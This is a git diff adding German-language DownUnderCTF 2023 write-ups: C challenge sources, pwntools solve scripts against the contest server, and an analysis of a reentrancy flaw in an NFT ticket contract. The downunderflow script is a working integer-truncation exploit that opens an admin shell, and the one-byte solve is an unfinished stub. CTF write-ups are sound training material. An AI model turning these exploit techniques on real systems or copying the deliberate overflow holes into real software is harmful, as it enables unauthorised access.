diff --git a/DownUnderCTF 2023/beginner/blinkybill/blinkybill.wav b/DownUnderCTF 2023/beginner/blinkybill/blinkybill.wav new file mode 100644 index 00000000..b02b09a8 Binary files /dev/null and b/DownUnderCTF 2023/beginner/blinkybill/blinkybill.wav differ diff --git a/DownUnderCTF 2023/beginner/downunderflow/README.md b/DownUnderCTF 2023/beginner/downunderflow/README.md new file mode 100644 index 00000000..df24e400 --- /dev/null +++ b/DownUnderCTF 2023/beginner/downunderflow/README.md @@ -0,0 +1,88 @@ +# downunderflow +``` +It's important to see things from different perspectives. + +Author: joseph +nc 2023.ductf.dev 30025 +``` + +# Source + +## downunderflow.c + +```c +#include +#include +#include + +#define USERNAME_LEN 6 +#define NUM_USERS 8 +char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" }; + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +int read_int_lower_than(int bound) { + int x; + scanf("%d", &x); + if(x >= bound) { + puts("Invalid input!"); + exit(1); + } + return x; +} + +int main() { + init(); + + printf("Select user to log in as: "); + unsigned short idx = read_int_lower_than(NUM_USERS - 1); + printf("Logging in as %s\n", logins[idx]); + if(strncmp(logins[idx], "admin", 5) == 0) { + puts("Welcome admin."); + system("/bin/sh"); + } else { + system("/bin/date"); + } +} +``` + +# Lösung + +```python +from pwn import * +import os + +gs = ''' +unset env LINES +unset env COLUMNS +set follow-fork-mode child +br *read_int_lower_than+57 +br *main + 146 +br *main + 49 +c +x/d $rbp-0x14 +''' + +elf = ELF(os.getcwd()+"/downunderflow") + +def start(): + if args.GDB: + return gdb.debug(elf.path, gs) + if args.REMOTE: + return remote("2023.ductf.dev", 30025) + else: + return process(os.getcwd()+"/downunderflow") + +io = start() + +print(io.recvuntil("Select user to log in as: ")) +io.sendline(str(0x1234567890120007).encode()) + + +io.interactive() +``` + +=> `DUCTF{-65529_==_7_(mod_65536)}` \ No newline at end of file diff --git a/DownUnderCTF 2023/beginner/downunderflow/downunderflow b/DownUnderCTF 2023/beginner/downunderflow/downunderflow new file mode 100755 index 00000000..8d6f4dfe Binary files /dev/null and b/DownUnderCTF 2023/beginner/downunderflow/downunderflow differ diff --git a/DownUnderCTF 2023/beginner/downunderflow/downunderflow.c b/DownUnderCTF 2023/beginner/downunderflow/downunderflow.c new file mode 100644 index 00000000..e6438afb --- /dev/null +++ b/DownUnderCTF 2023/beginner/downunderflow/downunderflow.c @@ -0,0 +1,36 @@ +#include +#include +#include + +#define USERNAME_LEN 6 +#define NUM_USERS 8 +char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" }; + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +int read_int_lower_than(int bound) { + int x; + scanf("%d", &x); + if(x >= bound) { + puts("Invalid input!"); + exit(1); + } + return x; +} + +int main() { + init(); + + printf("Select user to log in as: "); + unsigned short idx = read_int_lower_than(NUM_USERS - 1); + printf("Logging in as %s\n", logins[idx]); + if(strncmp(logins[idx], "admin", 5) == 0) { + puts("Welcome admin."); + system("/bin/sh"); + } else { + system("/bin/date"); + } +} diff --git a/DownUnderCTF 2023/beginner/downunderflow/downunderflow.py b/DownUnderCTF 2023/beginner/downunderflow/downunderflow.py new file mode 100644 index 00000000..6144499f --- /dev/null +++ b/DownUnderCTF 2023/beginner/downunderflow/downunderflow.py @@ -0,0 +1,31 @@ +from pwn import * +import os + +gs = ''' +unset env LINES +unset env COLUMNS +set follow-fork-mode child +br *read_int_lower_than+57 +br *main + 146 +br *main + 49 +c +x/d $rbp-0x14 +''' + +elf = ELF(os.getcwd()+"/downunderflow") + +def start(): + if args.GDB: + return gdb.debug(elf.path, gs) + if args.REMOTE: + return remote("2023.ductf.dev", 30025) + else: + return process(os.getcwd()+"/downunderflow") + +io = start() + +print(io.recvuntil("Select user to log in as: ")) +io.sendline(str(0x1234567890120007).encode()) + + +io.interactive() \ No newline at end of file diff --git a/DownUnderCTF 2023/beginner/one byte/README.md b/DownUnderCTF 2023/beginner/one byte/README.md new file mode 100644 index 00000000..14bd794a --- /dev/null +++ b/DownUnderCTF 2023/beginner/one byte/README.md @@ -0,0 +1,45 @@ +# one byte + +``` +Here's a one byte buffer overflow! + +Author: joseph +nc 2023.ductf.dev 30018 +``` + +# Source + +## onebyte.c + +```c +#include +#include +#include + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +void win() { + system("/bin/sh"); +} + +int main() { + init(); + + printf("Free junk: 0x%lx\n", init); + printf("Your turn: "); + + char buf[0x10]; + read(0, buf, 0x11); +} +``` + +# Analyse + +Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken. + +# Lösung + +#TODO \ No newline at end of file diff --git a/DownUnderCTF 2023/beginner/one byte/onebyte b/DownUnderCTF 2023/beginner/one byte/onebyte new file mode 100644 index 00000000..6d2bac0f Binary files /dev/null and b/DownUnderCTF 2023/beginner/one byte/onebyte differ diff --git a/DownUnderCTF 2023/beginner/one byte/onebyte.c b/DownUnderCTF 2023/beginner/one byte/onebyte.c new file mode 100644 index 00000000..9aee0254 --- /dev/null +++ b/DownUnderCTF 2023/beginner/one byte/onebyte.c @@ -0,0 +1,22 @@ +#include +#include +#include + +void init() { + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 2, 0); +} + +void win() { + system("/bin/sh"); +} + +int main() { + init(); + + printf("Free junk: 0x%lx\n", init); + printf("Your turn: "); + + char buf[0x10]; + read(0, buf, 0x11); +} diff --git a/DownUnderCTF 2023/beginner/one byte/onebyte.py b/DownUnderCTF 2023/beginner/one byte/onebyte.py new file mode 100644 index 00000000..b94dd23f --- /dev/null +++ b/DownUnderCTF 2023/beginner/one byte/onebyte.py @@ -0,0 +1,28 @@ +from pwn import * +import os + +gs = ''' +unset env LINES +unset env COLUMNS +set follow-fork-mode child +br *main +c +''' + +elf = ELF(os.getcwd()+"/downunderflow") + +def start(): + if args.GDB: + return gdb.debug(elf.path, gs) + if args.REMOTE: + return remote("2023.ductf.dev", 30018) + else: + return process(os.getcwd()+"/downunderflow") + +io = start() + +print(io.recvuntil("Your turn: ")) +io.send(cyclic(11)) + + +io.interactive() \ No newline at end of file diff --git a/DownUnderCTF 2023/blockchain/ Another Please/README.md b/DownUnderCTF 2023/blockchain/ Another Please/README.md index 1c648f86..a1f3f51a 100644 --- a/DownUnderCTF 2023/blockchain/ Another Please/README.md +++ b/DownUnderCTF 2023/blockchain/ Another Please/README.md @@ -85,9 +85,25 @@ contract AnotherPlease is ERC721Enumerable { # Analyse -Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 20 gratis, aber die letzten 10 sind teurer als wir es uns leisten können. +Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 10 gratis, aber die letzten 20 sind teurer als wir es uns leisten können. Die Methode ```claimFreeTicket``` prüft erst, ob noch gratis Tickets vorhanden sind, und sendet dann das Ticket und decrementiert dann den Counter. Und hier liegt die Schwachstelle: -Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` dauert (vermutlich eine gewisse zeit in der alle 30 If-Abfragen positiv durchlaufen werden). Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen. +Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` triggert vermutlich einen call auf uns, was uns erlaubt die methode erneut aufzurufen. Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen. + +``` +_safeMint(address to, uint256 tokenId) +internal + +Safely mints tokenId and transfers it to to. + +Requirements: + + tokenId must not exist. + + If to refers to a smart contract, it must implement IERC721Receiver.onERC721Received, which is called upon a safe transfer. + +Emits a Transfer event. +``` + # Lösung